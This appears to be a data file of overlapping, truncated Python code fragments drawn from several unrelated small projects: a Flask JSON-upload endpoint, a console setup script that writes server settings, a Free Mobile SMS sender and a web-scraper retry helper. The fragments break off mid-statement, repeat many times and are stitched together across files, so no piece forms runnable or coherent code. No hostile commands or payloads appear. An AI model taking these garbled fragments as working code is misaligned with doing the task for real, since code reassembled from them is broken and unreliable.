"os from flask import Flask, request, redirect, url_for from writer import parse_sns UPLOAD_FOLDER",
"= 'uploads' ALLOWED_EXTENSIONS = set(['json']) app = Flask(__name__) app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER def allowed_file(filename):",
"allowed_file(file.filename): path = os.path.join(app.config['UPLOAD_FOLDER'], 'exported_sns.json') file.save(os.path.join(path)) parse_sns(path) return '<!doctype html><title>File uploaded</title><h1>File uploaded</h1>' else:",
"-*- coding: utf-8 -*- import os from flask import Flask, request, redirect, url_for",
"os.path.join(app.config['UPLOAD_FOLDER'], 'exported_sns.json') file.save(os.path.join(path)) parse_sns(path) return '<!doctype html><title>File uploaded</title><h1>File uploaded</h1>' else: return ''' <!doctype",
"request.files: print('No file part') return redirect(request.url) file = request.files['file'] if file.filename == '':",
"request, redirect, url_for from writer import parse_sns UPLOAD_FOLDER = 'uploads' ALLOWED_EXTENSIONS = set(['json'])",
"return redirect(request.url) file = request.files['file'] if file.filename == '': print('No selected file') return",
"'.' in filename and \\ filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS @app.route('/social/moment', methods=['GET', 'POST']) def",
"file') return redirect(request.url) if file and allowed_file(file.filename): path = os.path.join(app.config['UPLOAD_FOLDER'], 'exported_sns.json') file.save(os.path.join(path)) parse_sns(path)",
"flask import Flask, request, redirect, url_for from writer import parse_sns UPLOAD_FOLDER = 'uploads'",
"def allowed_file(filename): return '.' in filename and \\ filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS @app.route('/social/moment',",
"set(['json']) app = Flask(__name__) app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER def allowed_file(filename): return '.' in filename",
"utf-8 -*- import os from flask import Flask, request, redirect, url_for from writer",
"file.filename == '': print('No selected file') return redirect(request.url) if file and allowed_file(file.filename): path",
"print('No selected file') return redirect(request.url) if file and allowed_file(file.filename): path = os.path.join(app.config['UPLOAD_FOLDER'], 'exported_sns.json')",
"@app.route('/social/moment', methods=['GET', 'POST']) def update_file(): if request.method == 'POST': if 'file' not in",
"part') return redirect(request.url) file = request.files['file'] if file.filename == '': print('No selected file')",
"and \\ filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS @app.route('/social/moment', methods=['GET', 'POST']) def update_file(): if request.method",
"coding: utf-8 -*- import os from flask import Flask, request, redirect, url_for from",
"filename and \\ filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS @app.route('/social/moment', methods=['GET', 'POST']) def update_file(): if",
"not in request.files: print('No file part') return redirect(request.url) file = request.files['file'] if file.filename",
"file.save(os.path.join(path)) parse_sns(path) return '<!doctype html><title>File uploaded</title><h1>File uploaded</h1>' else: return ''' <!doctype html> <title>Upload",
"= UPLOAD_FOLDER def allowed_file(filename): return '.' in filename and \\ filename.rsplit('.', 1)[1].lower() in",
"redirect, url_for from writer import parse_sns UPLOAD_FOLDER = 'uploads' ALLOWED_EXTENSIONS = set(['json']) app",
"'': print('No selected file') return redirect(request.url) if file and allowed_file(file.filename): path = os.path.join(app.config['UPLOAD_FOLDER'],",
"print('No file part') return redirect(request.url) file = request.files['file'] if file.filename == '': print('No",
"'uploads' ALLOWED_EXTENSIONS = set(['json']) app = Flask(__name__) app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER def allowed_file(filename): return",
"file part') return redirect(request.url) file = request.files['file'] if file.filename == '': print('No selected",
"def update_file(): if request.method == 'POST': if 'file' not in request.files: print('No file",
"== '': print('No selected file') return redirect(request.url) if file and allowed_file(file.filename): path =",
"if 'file' not in request.files: print('No file part') return redirect(request.url) file = request.files['file']",
"in ALLOWED_EXTENSIONS @app.route('/social/moment', methods=['GET', 'POST']) def update_file(): if request.method == 'POST': if 'file'",
"from writer import parse_sns UPLOAD_FOLDER = 'uploads' ALLOWED_EXTENSIONS = set(['json']) app = Flask(__name__)",
"path = os.path.join(app.config['UPLOAD_FOLDER'], 'exported_sns.json') file.save(os.path.join(path)) parse_sns(path) return '<!doctype html><title>File uploaded</title><h1>File uploaded</h1>' else: return",
"import os from flask import Flask, request, redirect, url_for from writer import parse_sns",
"<gh_stars>0 #!/usr/bin/env python3 # -*- coding: utf-8 -*- import os from flask import",
"update_file(): if request.method == 'POST': if 'file' not in request.files: print('No file part')",
"filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS @app.route('/social/moment', methods=['GET', 'POST']) def update_file(): if request.method == 'POST':",
"methods=['GET', 'POST']) def update_file(): if request.method == 'POST': if 'file' not in request.files:",
"'<!doctype html><title>File uploaded</title><h1>File uploaded</h1>' else: return ''' <!doctype html> <title>Upload new File</title> <h1>Upload",
"== 'POST': if 'file' not in request.files: print('No file part') return redirect(request.url) file",
"'POST']) def update_file(): if request.method == 'POST': if 'file' not in request.files: print('No",
"# -*- coding: utf-8 -*- import os from flask import Flask, request, redirect,",
"'exported_sns.json') file.save(os.path.join(path)) parse_sns(path) return '<!doctype html><title>File uploaded</title><h1>File uploaded</h1>' else: return ''' <!doctype html>",
"else: return ''' <!doctype html> <title>Upload new File</title> <h1>Upload new File</h1> ''' app.run(host=\"0.0.0.0\")",
"url_for from writer import parse_sns UPLOAD_FOLDER = 'uploads' ALLOWED_EXTENSIONS = set(['json']) app =",
"= Flask(__name__) app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER def allowed_file(filename): return '.' in filename and \\",
"ALLOWED_EXTENSIONS @app.route('/social/moment', methods=['GET', 'POST']) def update_file(): if request.method == 'POST': if 'file' not",
"return redirect(request.url) if file and allowed_file(file.filename): path = os.path.join(app.config['UPLOAD_FOLDER'], 'exported_sns.json') file.save(os.path.join(path)) parse_sns(path) return"
] |
[] |
[
"print(Fore.CYAN + 'What is the root FQDN for this machine: ' + Fore.RESET,",
"Fore.RESET) # Get variables print() print(Fore.CYAN + 'What is the root FQDN for",
"server run: ' + Fore.RESET, end='') port = input() # Write out configuration",
"print(Fore.CYAN + '-' * 13 + Fore.RESET) print('Call Server') print(Fore.CYAN + '-' *",
"end='') port = input() # Write out configuration file print() print(Fore.CYAN + 'Writing",
"'Writing Call Server configuration...' + Fore.RESET) with open(parentdir + '\\\\settings.py', 'a+') as f:",
"for terminal init() # Print out header print(Fore.CYAN + '-' * 13 +",
"+ 'Writing Call Server configuration...' + Fore.RESET) with open(parentdir + '\\\\settings.py', 'a+') as",
"FQDN for this machine: ' + Fore.RESET, end='') root_url = input() print(Fore.CYAN +",
"print(Fore.CYAN + 'On which port should the call server run: ' + Fore.RESET,",
"print('Call Server') print(Fore.CYAN + '-' * 13 + Fore.RESET) # Get variables print()",
"Fore.RESET, end='') root_url = input() print(Fore.CYAN + 'On which port should the call",
"print() print(Fore.CYAN + 'What is the root FQDN for this machine: ' +",
"Write out configuration file print() print(Fore.CYAN + 'Writing Call Server configuration...' + Fore.RESET)",
"this machine: ' + Fore.RESET, end='') root_url = input() print(Fore.CYAN + 'On which",
"directory details file = os.path.realpath(__file__) filedir = os.path.dirname(file) parentdir = os.path.dirname(filedir) # Initialise",
"% root_url.rstrip('/').lstrip('http://').lstrip('https://')) f.write('PORT=%s\\n\\n' % port) print() print(Fore.GREEN + 'Call Server configuration successfully written!'",
"init() # Print out header print(Fore.CYAN + '-' * 13 + Fore.RESET) print('Call",
"+ '-' * 13 + Fore.RESET) # Get variables print() print(Fore.CYAN + 'What",
"# Current file directory details file = os.path.realpath(__file__) filedir = os.path.dirname(file) parentdir =",
"* 13 + Fore.RESET) # Get variables print() print(Fore.CYAN + 'What is the",
"Initialise colors for terminal init() # Print out header print(Fore.CYAN + '-' *",
"'-' * 13 + Fore.RESET) print('Call Server') print(Fore.CYAN + '-' * 13 +",
"os from colorama import Fore, init # Current file directory details file =",
"root_url = input() print(Fore.CYAN + 'On which port should the call server run:",
"should the call server run: ' + Fore.RESET, end='') port = input() #",
"f.write('# CALL SERVER SETTINGS\\n') f.write('ROOT_URL=\\'%s\\'\\n' % root_url.rstrip('/').lstrip('http://').lstrip('https://')) f.write('PORT=%s\\n\\n' % port) print() print(Fore.GREEN +",
"# Print out header print(Fore.CYAN + '-' * 13 + Fore.RESET) print('Call Server')",
"'-' * 13 + Fore.RESET) # Get variables print() print(Fore.CYAN + 'What is",
"+ '-' * 13 + Fore.RESET) print('Call Server') print(Fore.CYAN + '-' * 13",
"the root FQDN for this machine: ' + Fore.RESET, end='') root_url = input()",
"Fore, init # Current file directory details file = os.path.realpath(__file__) filedir = os.path.dirname(file)",
"SETTINGS\\n') f.write('ROOT_URL=\\'%s\\'\\n' % root_url.rstrip('/').lstrip('http://').lstrip('https://')) f.write('PORT=%s\\n\\n' % port) print() print(Fore.GREEN + 'Call Server configuration",
"the call server run: ' + Fore.RESET, end='') port = input() # Write",
"file directory details file = os.path.realpath(__file__) filedir = os.path.dirname(file) parentdir = os.path.dirname(filedir) #",
"import Fore, init # Current file directory details file = os.path.realpath(__file__) filedir =",
"= os.path.dirname(file) parentdir = os.path.dirname(filedir) # Initialise colors for terminal init() # Print",
"Server configuration...' + Fore.RESET) with open(parentdir + '\\\\settings.py', 'a+') as f: f.write('# CALL",
"init # Current file directory details file = os.path.realpath(__file__) filedir = os.path.dirname(file) parentdir",
"file = os.path.realpath(__file__) filedir = os.path.dirname(file) parentdir = os.path.dirname(filedir) # Initialise colors for",
"machine: ' + Fore.RESET, end='') root_url = input() print(Fore.CYAN + 'On which port",
"out header print(Fore.CYAN + '-' * 13 + Fore.RESET) print('Call Server') print(Fore.CYAN +",
"details file = os.path.realpath(__file__) filedir = os.path.dirname(file) parentdir = os.path.dirname(filedir) # Initialise colors",
"= input() # Write out configuration file print() print(Fore.CYAN + 'Writing Call Server",
"SERVER SETTINGS\\n') f.write('ROOT_URL=\\'%s\\'\\n' % root_url.rstrip('/').lstrip('http://').lstrip('https://')) f.write('PORT=%s\\n\\n' % port) print() print(Fore.GREEN + 'Call Server",
"call server run: ' + Fore.RESET, end='') port = input() # Write out",
"import os from colorama import Fore, init # Current file directory details file",
"= input() print(Fore.CYAN + 'On which port should the call server run: '",
"print(Fore.CYAN + '-' * 13 + Fore.RESET) # Get variables print() print(Fore.CYAN +",
"f.write('PORT=%s\\n\\n' % port) print() print(Fore.GREEN + 'Call Server configuration successfully written!' + Fore.RESET)",
"variables print() print(Fore.CYAN + 'What is the root FQDN for this machine: '",
"+ '\\\\settings.py', 'a+') as f: f.write('# CALL SERVER SETTINGS\\n') f.write('ROOT_URL=\\'%s\\'\\n' % root_url.rstrip('/').lstrip('http://').lstrip('https://')) f.write('PORT=%s\\n\\n'",
"port should the call server run: ' + Fore.RESET, end='') port = input()",
"'a+') as f: f.write('# CALL SERVER SETTINGS\\n') f.write('ROOT_URL=\\'%s\\'\\n' % root_url.rstrip('/').lstrip('http://').lstrip('https://')) f.write('PORT=%s\\n\\n' % port)",
"Fore.RESET) with open(parentdir + '\\\\settings.py', 'a+') as f: f.write('# CALL SERVER SETTINGS\\n') f.write('ROOT_URL=\\'%s\\'\\n'",
"* 13 + Fore.RESET) print('Call Server') print(Fore.CYAN + '-' * 13 + Fore.RESET)",
"' + Fore.RESET, end='') root_url = input() print(Fore.CYAN + 'On which port should",
"'What is the root FQDN for this machine: ' + Fore.RESET, end='') root_url",
"+ 'On which port should the call server run: ' + Fore.RESET, end='')",
"file print() print(Fore.CYAN + 'Writing Call Server configuration...' + Fore.RESET) with open(parentdir +",
"+ Fore.RESET, end='') root_url = input() print(Fore.CYAN + 'On which port should the",
"os.path.dirname(filedir) # Initialise colors for terminal init() # Print out header print(Fore.CYAN +",
"+ Fore.RESET) # Get variables print() print(Fore.CYAN + 'What is the root FQDN",
"' + Fore.RESET, end='') port = input() # Write out configuration file print()",
"as f: f.write('# CALL SERVER SETTINGS\\n') f.write('ROOT_URL=\\'%s\\'\\n' % root_url.rstrip('/').lstrip('http://').lstrip('https://')) f.write('PORT=%s\\n\\n' % port) print()",
"terminal init() # Print out header print(Fore.CYAN + '-' * 13 + Fore.RESET)",
"out configuration file print() print(Fore.CYAN + 'Writing Call Server configuration...' + Fore.RESET) with",
"end='') root_url = input() print(Fore.CYAN + 'On which port should the call server",
"% port) print() print(Fore.GREEN + 'Call Server configuration successfully written!' + Fore.RESET) print()",
"run: ' + Fore.RESET, end='') port = input() # Write out configuration file",
"root_url.rstrip('/').lstrip('http://').lstrip('https://')) f.write('PORT=%s\\n\\n' % port) print() print(Fore.GREEN + 'Call Server configuration successfully written!' +",
"Print out header print(Fore.CYAN + '-' * 13 + Fore.RESET) print('Call Server') print(Fore.CYAN",
"open(parentdir + '\\\\settings.py', 'a+') as f: f.write('# CALL SERVER SETTINGS\\n') f.write('ROOT_URL=\\'%s\\'\\n' % root_url.rstrip('/').lstrip('http://').lstrip('https://'))",
"'\\\\settings.py', 'a+') as f: f.write('# CALL SERVER SETTINGS\\n') f.write('ROOT_URL=\\'%s\\'\\n' % root_url.rstrip('/').lstrip('http://').lstrip('https://')) f.write('PORT=%s\\n\\n' %",
"filedir = os.path.dirname(file) parentdir = os.path.dirname(filedir) # Initialise colors for terminal init() #",
"from colorama import Fore, init # Current file directory details file = os.path.realpath(__file__)",
"Server') print(Fore.CYAN + '-' * 13 + Fore.RESET) # Get variables print() print(Fore.CYAN",
"configuration...' + Fore.RESET) with open(parentdir + '\\\\settings.py', 'a+') as f: f.write('# CALL SERVER",
"which port should the call server run: ' + Fore.RESET, end='') port =",
"port = input() # Write out configuration file print() print(Fore.CYAN + 'Writing Call",
"input() print(Fore.CYAN + 'On which port should the call server run: ' +",
"+ Fore.RESET) print('Call Server') print(Fore.CYAN + '-' * 13 + Fore.RESET) # Get",
"# Initialise colors for terminal init() # Print out header print(Fore.CYAN + '-'",
"with open(parentdir + '\\\\settings.py', 'a+') as f: f.write('# CALL SERVER SETTINGS\\n') f.write('ROOT_URL=\\'%s\\'\\n' %",
"colorama import Fore, init # Current file directory details file = os.path.realpath(__file__) filedir",
"13 + Fore.RESET) print('Call Server') print(Fore.CYAN + '-' * 13 + Fore.RESET) #",
"f.write('ROOT_URL=\\'%s\\'\\n' % root_url.rstrip('/').lstrip('http://').lstrip('https://')) f.write('PORT=%s\\n\\n' % port) print() print(Fore.GREEN + 'Call Server configuration successfully",
"CALL SERVER SETTINGS\\n') f.write('ROOT_URL=\\'%s\\'\\n' % root_url.rstrip('/').lstrip('http://').lstrip('https://')) f.write('PORT=%s\\n\\n' % port) print() print(Fore.GREEN + 'Call",
"= os.path.realpath(__file__) filedir = os.path.dirname(file) parentdir = os.path.dirname(filedir) # Initialise colors for terminal",
"configuration file print() print(Fore.CYAN + 'Writing Call Server configuration...' + Fore.RESET) with open(parentdir",
"os.path.dirname(file) parentdir = os.path.dirname(filedir) # Initialise colors for terminal init() # Print out",
"Fore.RESET) print('Call Server') print(Fore.CYAN + '-' * 13 + Fore.RESET) # Get variables",
"Fore.RESET, end='') port = input() # Write out configuration file print() print(Fore.CYAN +",
"for this machine: ' + Fore.RESET, end='') root_url = input() print(Fore.CYAN + 'On",
"Get variables print() print(Fore.CYAN + 'What is the root FQDN for this machine:",
"# Get variables print() print(Fore.CYAN + 'What is the root FQDN for this",
"# Write out configuration file print() print(Fore.CYAN + 'Writing Call Server configuration...' +",
"Call Server configuration...' + Fore.RESET) with open(parentdir + '\\\\settings.py', 'a+') as f: f.write('#",
"Current file directory details file = os.path.realpath(__file__) filedir = os.path.dirname(file) parentdir = os.path.dirname(filedir)",
"input() # Write out configuration file print() print(Fore.CYAN + 'Writing Call Server configuration...'",
"'On which port should the call server run: ' + Fore.RESET, end='') port",
"root FQDN for this machine: ' + Fore.RESET, end='') root_url = input() print(Fore.CYAN",
"is the root FQDN for this machine: ' + Fore.RESET, end='') root_url =",
"header print(Fore.CYAN + '-' * 13 + Fore.RESET) print('Call Server') print(Fore.CYAN + '-'",
"print() print(Fore.CYAN + 'Writing Call Server configuration...' + Fore.RESET) with open(parentdir + '\\\\settings.py',",
"colors for terminal init() # Print out header print(Fore.CYAN + '-' * 13",
"13 + Fore.RESET) # Get variables print() print(Fore.CYAN + 'What is the root",
"= os.path.dirname(filedir) # Initialise colors for terminal init() # Print out header print(Fore.CYAN",
"parentdir = os.path.dirname(filedir) # Initialise colors for terminal init() # Print out header",
"+ 'What is the root FQDN for this machine: ' + Fore.RESET, end='')",
"os.path.realpath(__file__) filedir = os.path.dirname(file) parentdir = os.path.dirname(filedir) # Initialise colors for terminal init()",
"f: f.write('# CALL SERVER SETTINGS\\n') f.write('ROOT_URL=\\'%s\\'\\n' % root_url.rstrip('/').lstrip('http://').lstrip('https://')) f.write('PORT=%s\\n\\n' % port) print() print(Fore.GREEN",
"+ Fore.RESET) with open(parentdir + '\\\\settings.py', 'a+') as f: f.write('# CALL SERVER SETTINGS\\n')",
"print(Fore.CYAN + 'Writing Call Server configuration...' + Fore.RESET) with open(parentdir + '\\\\settings.py', 'a+')",
"+ Fore.RESET, end='') port = input() # Write out configuration file print() print(Fore.CYAN"
] |
[
"credential: UserFreeCarrier, message, *args): if message is None: return data = { 'user':",
"query = parse.urlencode(data) url = f'https://smsapi.free-mobile.fr/sendmsg?{query}' res = requests.get(url) res.raise_for_status() # free api",
"res.raise_for_status() # free api # errorcodes = {400: 'Missing Parameter', # 402: 'Spammer!',",
"# free api # errorcodes = {400: 'Missing Parameter', # 402: 'Spammer!', #",
"message, *args): if message is None: return data = { 'user': credential.free_user, 'pass':",
"= {400: 'Missing Parameter', # 402: 'Spammer!', # 403: 'Access Denied', # 500:",
"= requests.get(url) res.raise_for_status() # free api # errorcodes = {400: 'Missing Parameter', #",
"f'https://smsapi.free-mobile.fr/sendmsg?{query}' res = requests.get(url) res.raise_for_status() # free api # errorcodes = {400: 'Missing",
"'msg': message } query = parse.urlencode(data) url = f'https://smsapi.free-mobile.fr/sendmsg?{query}' res = requests.get(url) res.raise_for_status()",
"# errorcodes = {400: 'Missing Parameter', # 402: 'Spammer!', # 403: 'Access Denied',",
"urllib import parse import requests from notification.models import UserFreeCarrier class FreeCarrierMessaging: def send_message(self,",
"= { 'user': credential.free_user, 'pass': credential.free_password, 'msg': message } query = parse.urlencode(data) url",
"class FreeCarrierMessaging: def send_message(self, credential: UserFreeCarrier, message, *args): if message is None: return",
"UserFreeCarrier class FreeCarrierMessaging: def send_message(self, credential: UserFreeCarrier, message, *args): if message is None:",
"def send_message(self, credential: UserFreeCarrier, message, *args): if message is None: return data =",
"import UserFreeCarrier class FreeCarrierMessaging: def send_message(self, credential: UserFreeCarrier, message, *args): if message is",
"free api # errorcodes = {400: 'Missing Parameter', # 402: 'Spammer!', # 403:",
"*args): if message is None: return data = { 'user': credential.free_user, 'pass': credential.free_password,",
"'user': credential.free_user, 'pass': credential.free_password, 'msg': message } query = parse.urlencode(data) url = f'https://smsapi.free-mobile.fr/sendmsg?{query}'",
"None: return data = { 'user': credential.free_user, 'pass': credential.free_password, 'msg': message } query",
"is None: return data = { 'user': credential.free_user, 'pass': credential.free_password, 'msg': message }",
"UserFreeCarrier, message, *args): if message is None: return data = { 'user': credential.free_user,",
"message } query = parse.urlencode(data) url = f'https://smsapi.free-mobile.fr/sendmsg?{query}' res = requests.get(url) res.raise_for_status() #",
"import parse import requests from notification.models import UserFreeCarrier class FreeCarrierMessaging: def send_message(self, credential:",
"credential.free_user, 'pass': credential.free_password, 'msg': message } query = parse.urlencode(data) url = f'https://smsapi.free-mobile.fr/sendmsg?{query}' res",
"{ 'user': credential.free_user, 'pass': credential.free_password, 'msg': message } query = parse.urlencode(data) url =",
"from urllib import parse import requests from notification.models import UserFreeCarrier class FreeCarrierMessaging: def",
"= parse.urlencode(data) url = f'https://smsapi.free-mobile.fr/sendmsg?{query}' res = requests.get(url) res.raise_for_status() # free api #",
"send_message(self, credential: UserFreeCarrier, message, *args): if message is None: return data = {",
"} query = parse.urlencode(data) url = f'https://smsapi.free-mobile.fr/sendmsg?{query}' res = requests.get(url) res.raise_for_status() # free",
"parse.urlencode(data) url = f'https://smsapi.free-mobile.fr/sendmsg?{query}' res = requests.get(url) res.raise_for_status() # free api # errorcodes",
"import requests from notification.models import UserFreeCarrier class FreeCarrierMessaging: def send_message(self, credential: UserFreeCarrier, message,",
"notification.models import UserFreeCarrier class FreeCarrierMessaging: def send_message(self, credential: UserFreeCarrier, message, *args): if message",
"'pass': credential.free_password, 'msg': message } query = parse.urlencode(data) url = f'https://smsapi.free-mobile.fr/sendmsg?{query}' res =",
"return data = { 'user': credential.free_user, 'pass': credential.free_password, 'msg': message } query =",
"url = f'https://smsapi.free-mobile.fr/sendmsg?{query}' res = requests.get(url) res.raise_for_status() # free api # errorcodes =",
"FreeCarrierMessaging: def send_message(self, credential: UserFreeCarrier, message, *args): if message is None: return data",
"if message is None: return data = { 'user': credential.free_user, 'pass': credential.free_password, 'msg':",
"credential.free_password, 'msg': message } query = parse.urlencode(data) url = f'https://smsapi.free-mobile.fr/sendmsg?{query}' res = requests.get(url)",
"{400: 'Missing Parameter', # 402: 'Spammer!', # 403: 'Access Denied', # 500: 'Server",
"data = { 'user': credential.free_user, 'pass': credential.free_password, 'msg': message } query = parse.urlencode(data)",
"message is None: return data = { 'user': credential.free_user, 'pass': credential.free_password, 'msg': message",
"res = requests.get(url) res.raise_for_status() # free api # errorcodes = {400: 'Missing Parameter',",
"errorcodes = {400: 'Missing Parameter', # 402: 'Spammer!', # 403: 'Access Denied', #",
"api # errorcodes = {400: 'Missing Parameter', # 402: 'Spammer!', # 403: 'Access",
"requests from notification.models import UserFreeCarrier class FreeCarrierMessaging: def send_message(self, credential: UserFreeCarrier, message, *args):",
"requests.get(url) res.raise_for_status() # free api # errorcodes = {400: 'Missing Parameter', # 402:",
"= f'https://smsapi.free-mobile.fr/sendmsg?{query}' res = requests.get(url) res.raise_for_status() # free api # errorcodes = {400:",
"<reponame>EmixMaxime/mx-home-security from urllib import parse import requests from notification.models import UserFreeCarrier class FreeCarrierMessaging:",
"'Missing Parameter', # 402: 'Spammer!', # 403: 'Access Denied', # 500: 'Server Down'}",
"parse import requests from notification.models import UserFreeCarrier class FreeCarrierMessaging: def send_message(self, credential: UserFreeCarrier,",
"from notification.models import UserFreeCarrier class FreeCarrierMessaging: def send_message(self, credential: UserFreeCarrier, message, *args): if"
] |
[
"up and failing.\") else: scraper.logger.warning(\"Link failed after waiting over a minute, giving up",
"warning and keep going timeout_length = 2 html = None while timeout_length <",
"= timeout_length timeout_length **= 2 #this squares the result. awesome. scraper.logger.debug(\"Timed out after",
"while timeout_length < 65 and html is None: try: html = scraper.get(link,timeout=timeout_length,**kwargs) except",
"timeout_length timeout_length **= 2 #this squares the result. awesome. scraper.logger.debug(\"Timed out after {now}",
"html if fail: raise AssertionError(\"Link failed after waiting over a minute, giving up",
"going timeout_length = 2 html = None while timeout_length < 65 and html",
"requests.exceptions.ReadTimeout): old_length = timeout_length timeout_length **= 2 #this squares the result. awesome. scraper.logger.debug(\"Timed",
"65 and html is None: try: html = scraper.get(link,timeout=timeout_length,**kwargs) except (requests.exceptions.ConnectTimeout, requests.exceptions.ReadTimeout): old_length",
"**= 2 #this squares the result. awesome. scraper.logger.debug(\"Timed out after {now} seconds, increasing",
"result. awesome. scraper.logger.debug(\"Timed out after {now} seconds, increasing to {next} and trying again\".format(now=old_length,next=timeout_length))",
"< 65 and html is None: try: html = scraper.get(link,timeout=timeout_length,**kwargs) except (requests.exceptions.ConnectTimeout, requests.exceptions.ReadTimeout):",
"fail: raise AssertionError(\"Link failed after waiting over a minute, giving up and failing.\")",
"true, we want to throw an error if we can't #access the page",
"minute, giving up and failing.\") else: scraper.logger.warning(\"Link failed after waiting over a minute,",
"an error if we can't #access the page we need #if it's false,",
"None: try: html = scraper.get(link,timeout=timeout_length,**kwargs) except (requests.exceptions.ConnectTimeout, requests.exceptions.ReadTimeout): old_length = timeout_length timeout_length **=",
"old_length = timeout_length timeout_length **= 2 #this squares the result. awesome. scraper.logger.debug(\"Timed out",
"false, throw a warning and keep going timeout_length = 2 html = None",
"else: return html if fail: raise AssertionError(\"Link failed after waiting over a minute,",
"to throw an error if we can't #access the page we need #if",
"#this squares the result. awesome. scraper.logger.debug(\"Timed out after {now} seconds, increasing to {next}",
"failed after waiting over a minute, giving up and failing.\") else: scraper.logger.warning(\"Link failed",
"and trying again\".format(now=old_length,next=timeout_length)) else: return html if fail: raise AssertionError(\"Link failed after waiting",
"if we can't #access the page we need #if it's false, throw a",
"increasing to {next} and trying again\".format(now=old_length,next=timeout_length)) else: return html if fail: raise AssertionError(\"Link",
"{now} seconds, increasing to {next} and trying again\".format(now=old_length,next=timeout_length)) else: return html if fail:",
"= None while timeout_length < 65 and html is None: try: html =",
"= 2 html = None while timeout_length < 65 and html is None:",
"giving up and failing.\") else: scraper.logger.warning(\"Link failed after waiting over a minute, giving",
"#access the page we need #if it's false, throw a warning and keep",
"page we need #if it's false, throw a warning and keep going timeout_length",
"a minute, giving up and failing.\") else: scraper.logger.warning(\"Link failed after waiting over a",
"throw a warning and keep going timeout_length = 2 html = None while",
"out after {now} seconds, increasing to {next} and trying again\".format(now=old_length,next=timeout_length)) else: return html",
"it's false, throw a warning and keep going timeout_length = 2 html =",
"scraper.logger.debug(\"Timed out after {now} seconds, increasing to {next} and trying again\".format(now=old_length,next=timeout_length)) else: return",
"a warning and keep going timeout_length = 2 html = None while timeout_length",
"raise AssertionError(\"Link failed after waiting over a minute, giving up and failing.\") else:",
"want to throw an error if we can't #access the page we need",
"html = scraper.get(link,timeout=timeout_length,**kwargs) except (requests.exceptions.ConnectTimeout, requests.exceptions.ReadTimeout): old_length = timeout_length timeout_length **= 2 #this",
"and html is None: try: html = scraper.get(link,timeout=timeout_length,**kwargs) except (requests.exceptions.ConnectTimeout, requests.exceptions.ReadTimeout): old_length =",
"2 #this squares the result. awesome. scraper.logger.debug(\"Timed out after {now} seconds, increasing to",
"failing.\") else: scraper.logger.warning(\"Link failed after waiting over a minute, giving up and moving",
"else: scraper.logger.warning(\"Link failed after waiting over a minute, giving up and moving on.\")",
"seconds, increasing to {next} and trying again\".format(now=old_length,next=timeout_length)) else: return html if fail: raise",
"we need #if it's false, throw a warning and keep going timeout_length =",
"is true, we want to throw an error if we can't #access the",
"{next} and trying again\".format(now=old_length,next=timeout_length)) else: return html if fail: raise AssertionError(\"Link failed after",
"html = None while timeout_length < 65 and html is None: try: html",
"try: html = scraper.get(link,timeout=timeout_length,**kwargs) except (requests.exceptions.ConnectTimeout, requests.exceptions.ReadTimeout): old_length = timeout_length timeout_length **= 2",
"None while timeout_length < 65 and html is None: try: html = scraper.get(link,timeout=timeout_length,**kwargs)",
"to {next} and trying again\".format(now=old_length,next=timeout_length)) else: return html if fail: raise AssertionError(\"Link failed",
"import requests def get_with_increasing_timeout(scraper,link,fail=False,kwargs={}): #if fail is true, we want to throw an",
"= scraper.get(link,timeout=timeout_length,**kwargs) except (requests.exceptions.ConnectTimeout, requests.exceptions.ReadTimeout): old_length = timeout_length timeout_length **= 2 #this squares",
"if fail: raise AssertionError(\"Link failed after waiting over a minute, giving up and",
"after {now} seconds, increasing to {next} and trying again\".format(now=old_length,next=timeout_length)) else: return html if",
"return html if fail: raise AssertionError(\"Link failed after waiting over a minute, giving",
"requests def get_with_increasing_timeout(scraper,link,fail=False,kwargs={}): #if fail is true, we want to throw an error",
"throw an error if we can't #access the page we need #if it's",
"trying again\".format(now=old_length,next=timeout_length)) else: return html if fail: raise AssertionError(\"Link failed after waiting over",
"#if fail is true, we want to throw an error if we can't",
"after waiting over a minute, giving up and failing.\") else: scraper.logger.warning(\"Link failed after",
"except (requests.exceptions.ConnectTimeout, requests.exceptions.ReadTimeout): old_length = timeout_length timeout_length **= 2 #this squares the result.",
"again\".format(now=old_length,next=timeout_length)) else: return html if fail: raise AssertionError(\"Link failed after waiting over a",
"timeout_length **= 2 #this squares the result. awesome. scraper.logger.debug(\"Timed out after {now} seconds,",
"we want to throw an error if we can't #access the page we",
"#if it's false, throw a warning and keep going timeout_length = 2 html",
"keep going timeout_length = 2 html = None while timeout_length < 65 and",
"over a minute, giving up and failing.\") else: scraper.logger.warning(\"Link failed after waiting over",
"AssertionError(\"Link failed after waiting over a minute, giving up and failing.\") else: scraper.logger.warning(\"Link",
"html is None: try: html = scraper.get(link,timeout=timeout_length,**kwargs) except (requests.exceptions.ConnectTimeout, requests.exceptions.ReadTimeout): old_length = timeout_length",
"can't #access the page we need #if it's false, throw a warning and",
"squares the result. awesome. scraper.logger.debug(\"Timed out after {now} seconds, increasing to {next} and",
"timeout_length < 65 and html is None: try: html = scraper.get(link,timeout=timeout_length,**kwargs) except (requests.exceptions.ConnectTimeout,",
"scraper.get(link,timeout=timeout_length,**kwargs) except (requests.exceptions.ConnectTimeout, requests.exceptions.ReadTimeout): old_length = timeout_length timeout_length **= 2 #this squares the",
"and keep going timeout_length = 2 html = None while timeout_length < 65",
"is None: try: html = scraper.get(link,timeout=timeout_length,**kwargs) except (requests.exceptions.ConnectTimeout, requests.exceptions.ReadTimeout): old_length = timeout_length timeout_length",
"we can't #access the page we need #if it's false, throw a warning",
"the page we need #if it's false, throw a warning and keep going",
"the result. awesome. scraper.logger.debug(\"Timed out after {now} seconds, increasing to {next} and trying",
"fail is true, we want to throw an error if we can't #access",
"error if we can't #access the page we need #if it's false, throw",
"need #if it's false, throw a warning and keep going timeout_length = 2",
"(requests.exceptions.ConnectTimeout, requests.exceptions.ReadTimeout): old_length = timeout_length timeout_length **= 2 #this squares the result. awesome.",
"waiting over a minute, giving up and failing.\") else: scraper.logger.warning(\"Link failed after waiting",
"and failing.\") else: scraper.logger.warning(\"Link failed after waiting over a minute, giving up and",
"awesome. scraper.logger.debug(\"Timed out after {now} seconds, increasing to {next} and trying again\".format(now=old_length,next=timeout_length)) else:",
